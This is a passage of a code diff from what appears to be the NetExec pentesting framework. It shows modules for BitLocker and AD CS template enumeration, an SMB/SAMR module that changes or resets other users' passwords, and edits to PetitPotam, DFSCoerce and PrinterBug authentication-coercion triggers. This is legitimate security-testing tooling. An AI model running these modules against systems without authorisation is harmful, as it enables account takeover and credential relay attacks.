context.log.debug(f"Found {len(resp)} entries")
|
||||
|
||||
results = self.find_bad_successor_ous(resp)
|
||||
|
||||
if results:
|
||||
context.log.success(f"Found {len(results)} results")
|
||||
else:
|
||||
context.log.highlight("No account found")
|
||||
|
||||
for sid, ous in results.items():
|
||||
samaccountname = self.resolve_sid_to_name(sid)
|
||||
|
||||
for ou in ous:
|
||||
if sid == samaccountname:
|
||||
context.log.highlight(f"{sid}, {ou}")
|
||||
else:
|
||||
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
|
||||
+116
-131
@@ -1,131 +1,116 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
import re
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
|
||||
# creating a second DCOMConnection to the same target (whose disconnect
|
||||
# would clash with the protocol's own)
|
||||
try:
|
||||
iWbemLevel1Login = self.connection.iWbemLevel1Login
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
else:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
@@ -0,0 +1,140 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module made by: @NeffIsBack, @gatariee"""
|
||||
name = "certipy-find"
|
||||
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
VULN Show only vulnerable configurations (Default: True)
|
||||
ENABLED Show only enabled templates
|
||||
|
||||
Export options:
|
||||
TEXT Export results to a plain text file
|
||||
CSV Export results to a CSV file
|
||||
JSON Export results to a JSON file
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
|
||||
if "VULN" in module_options:
|
||||
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
|
||||
if "ENABLED" in module_options:
|
||||
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
|
||||
|
||||
# Export options
|
||||
if "JSON" in module_options:
|
||||
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
|
||||
if "CSV" in module_options:
|
||||
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
|
||||
if "TEXT" in module_options:
|
||||
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dns_server = connection.args.dns_server
|
||||
if not dns_server:
|
||||
try:
|
||||
# If connection.host is an IP, use it as DNS
|
||||
socket.inet_aton(connection.host)
|
||||
dns_server = connection.host
|
||||
except Exception:
|
||||
# Otherwise let DnsResolver use system resolver (None)
|
||||
dns_server = None
|
||||
|
||||
resolv = DnsResolver.create(dns_server)
|
||||
|
||||
# prefer connection.hostname if present, otherwise connection.host
|
||||
remote = (connection.hostname or connection.host) or ""
|
||||
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
|
||||
|
||||
target = Target(
|
||||
resolver=resolv,
|
||||
domain=connection.domain,
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=connection.remoteName,
|
||||
hashes=f"{connection.lmhash}:{connection.nthash}",
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aes=connection.aesKey,
|
||||
dc_ip=connection.kdcHost,
|
||||
target_ip=connection.host,
|
||||
ldap_port=connection.port,
|
||||
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
|
||||
ldap_signing=connection.signing_required,
|
||||
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
|
||||
)
|
||||
|
||||
finder = Find(
|
||||
target=target,
|
||||
json=self.json,
|
||||
csv=self.csv,
|
||||
text=self.text,
|
||||
output_path=self.output_path,
|
||||
stdout=True,
|
||||
vulnerable=self.vuln,
|
||||
enabled=self.enabled,
|
||||
)
|
||||
|
||||
# Get templates and CAs
|
||||
templates = finder.get_certificate_templates()
|
||||
cas = finder.get_certificate_authorities()
|
||||
finder._link_cas_and_templates(cas, templates)
|
||||
|
||||
# Get OIDs
|
||||
oids = finder.get_issuance_policies()
|
||||
|
||||
# Process information
|
||||
finder._link_templates_and_policies(templates, oids)
|
||||
finder._process_ca_properties(cas)
|
||||
finder._process_template_properties(templates)
|
||||
|
||||
output = finder.get_output_for_text_and_json(templates, cas, oids)
|
||||
pretty_print(output, print_func=context.log.highlight)
|
||||
|
||||
# Save to disk if any export option specified
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
if self.json:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
indent=2,
|
||||
default=str,
|
||||
)
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
f.write(template_output)
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -0,0 +1,149 @@
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for changing or resetting user passwords
|
||||
Module by Fagan Afandiyev, termanix and NeffIsBack
|
||||
"""
|
||||
|
||||
name = "change-password"
|
||||
description = "Change or reset user passwords via various protocols"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Required (one of):
|
||||
NEWPASS The new password of the user.
|
||||
NEWNTHASH The new NT hash of the user.
|
||||
|
||||
Optional:
|
||||
USER The user account if the target is not the current user.
|
||||
|
||||
Examples
|
||||
--------
|
||||
If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user)
|
||||
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
|
||||
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
|
||||
|
||||
If want to change other user's password (with forcechangepassword priv or admin rights)
|
||||
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
|
||||
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
|
||||
"""
|
||||
self.newpass = module_options.get("NEWPASS")
|
||||
self.newhash = module_options.get("NEWNTHASH")
|
||||
self.target_user = module_options.get("USER")
|
||||
|
||||
if not self.newpass and not self.newhash:
|
||||
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def authenticate(self, context, connection, protocol, anonymous=False):
|
||||
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
|
||||
try:
|
||||
if anonymous:
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
dce = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
samr.MSRPC_UUID_SAMR,
|
||||
string_binding=string_binding,
|
||||
set_remote_host=connection.host,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
context.log.info("Connecting with null session credentials.")
|
||||
else:
|
||||
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
|
||||
|
||||
context.log.info("[+] Successfully connected to DCE/RPC")
|
||||
context.log.info("[+] Successfully bound to SAMR")
|
||||
return dce
|
||||
except DCERPCException as e:
|
||||
context.log.fail(f"DCE/RPC Exception: {e!s}")
|
||||
raise
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
target_username = self.target_user or connection.username
|
||||
target_domain = connection.domain
|
||||
|
||||
# Grab all creds from the connection to use for authentication
|
||||
self.oldpass = connection.password
|
||||
self.oldhash = connection.nthash
|
||||
|
||||
new_lmhash, new_nthash = "", ""
|
||||
|
||||
# Parse new hash values if provided
|
||||
if self.newhash:
|
||||
try:
|
||||
new_lmhash, new_nthash = self.newhash.split(":")
|
||||
except ValueError:
|
||||
new_nthash = self.newhash
|
||||
|
||||
try:
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
|
||||
except Exception as e:
|
||||
# Handle specific errors like password expiration or must be change
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
|
||||
context.log.warning("Password must be changed. Trying with null session.")
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
|
||||
elif "STATUS_LOGON_FAILURE" in str(e):
|
||||
context.log.fail("Authentication failure: wrong credentials.")
|
||||
return False
|
||||
else:
|
||||
raise
|
||||
|
||||
try:
|
||||
# Perform the SMB SAMR password change
|
||||
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
|
||||
|
||||
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
|
||||
user = self.context.db.get_user(target_domain, target_username)
|
||||
user_ids = [row[0] for row in user]
|
||||
self.context.db.remove_credentials(user_ids)
|
||||
|
||||
# Store the new credentials in the database
|
||||
if new_nthash:
|
||||
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
|
||||
else:
|
||||
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
|
||||
except Exception as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
|
||||
elif "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"User '{target_username}' not found or not resolvable")
|
||||
else:
|
||||
context.log.fail(f"SMB-SAMR password change failed: {e}")
|
||||
finally:
|
||||
self.dce.disconnect()
|
||||
|
||||
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
|
||||
# Reset the password for a different user
|
||||
if target_username != connection.username:
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
else:
|
||||
# Change password for the current user
|
||||
if newPassword:
|
||||
# Change the password with new password
|
||||
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
|
||||
else:
|
||||
# Change the password with new hash
|
||||
user_handle = self._hSamrOpenUser(connection, target_username)
|
||||
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
|
||||
context.log.highlight("Note: Target user must change password at next logon.")
|
||||
context.log.success(f"Successfully changed password for {target_username}")
|
||||
|
||||
def _hSamrOpenUser(self, connection, username):
|
||||
"""Connect to the target server and retrieve the user handle"""
|
||||
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
|
||||
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
|
||||
+37
-49
@@ -1,18 +1,18 @@
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "coerce_plus"
|
||||
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -214,6 +214,15 @@ class NXCModule:
|
||||
return
|
||||
|
||||
|
||||
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
|
||||
|
||||
class ShadowCoerceTrigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
@@ -221,7 +230,7 @@ class ShadowCoerceTrigger:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"Fssagentrpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\Fssagentrpc]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\Fssagentrpc]",
|
||||
"MSRPC_UUID_FSRVP": ("a8e0653c-2744-4389-a61d-7373df8b2292", "3.0"),
|
||||
},
|
||||
}
|
||||
@@ -338,7 +347,7 @@ class DFSCoerceTrigger:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"netdfs": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\netdfs]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\netdfs]",
|
||||
"MSRPC_UUID_DFSNM": ("4fc742e0-4a10-11cf-8273-00aa004ae673", "3.0"),
|
||||
},
|
||||
}
|
||||
@@ -389,8 +398,8 @@ class DFSCoerceTrigger:
|
||||
"""
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["Comment"] = "lodos\x00"
|
||||
request["Share"] = "x:\\lodos2005\x00"
|
||||
request["Comment"] = "test\x00"
|
||||
request["Share"] = "x:\\test\x00"
|
||||
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
@@ -411,7 +420,7 @@ class DFSCoerceTrigger:
|
||||
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
|
||||
request["pTargetPath"] = NULL
|
||||
request["MajorVersion"] = 0
|
||||
request["pComment"] = "lodos\x00"
|
||||
request["pComment"] = "test\x00"
|
||||
request["NewNamespace"] = 0
|
||||
request["Flags"] = 0
|
||||
dce.request(request)
|
||||
@@ -474,7 +483,7 @@ class DFSCoerceTrigger:
|
||||
request = NetrDfsAddStdRoot()
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["Comment"] = "lodos\x00"
|
||||
request["Comment"] = "test\x00"
|
||||
request["ApiFlags"] = 0
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
@@ -509,27 +518,32 @@ class PetitPotamtTrigger:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"lsarpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsarpc]",
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"efsrpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\efsrpc]",
|
||||
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
|
||||
},
|
||||
"samr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\samr]",
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"lsass": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsass]",
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"netlogon": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
|
||||
"stringBinding": rf"ncacn_np:{target}[\PIPE\netlogon]",
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
}
|
||||
|
||||
# activates EFS
|
||||
# https://specterops.io/blog/2025/08/19/will-webclient-start/
|
||||
with contextlib.suppress(Exception):
|
||||
get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpctransport.set_dport(445)
|
||||
|
||||
@@ -757,46 +771,20 @@ class PrinterBugTrigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
|
||||
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = r"ncacn_ip_tcp:%s[135]" % target
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug(
|
||||
"Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
|
||||
)
|
||||
try:
|
